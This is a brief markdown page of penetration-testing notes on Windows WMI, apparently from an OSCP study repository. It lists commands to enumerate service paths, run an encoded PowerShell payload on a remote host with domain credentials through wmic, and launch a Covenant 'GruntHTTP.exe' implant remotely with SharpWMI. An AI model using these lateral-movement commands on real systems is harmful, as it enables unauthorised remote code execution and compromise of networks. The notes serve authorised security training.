oscp/Necronomicon/Windows/WMI.md

• Get all service paths
  • wmic service get name, pathname
• Execute command on local or remote host
  • wmic /node:"wkstn-4945" /user:"cyberbotic.io\\n.lamb" /password:"REDACTED" process call create "powershell -enc \[...snip...\]"
• SharpWMI
  • SharpWMI /command:"action=exec computername=wkstn-4945 command=\\"C:\\Windows\\Temp\\GruntHTTP.exe\\""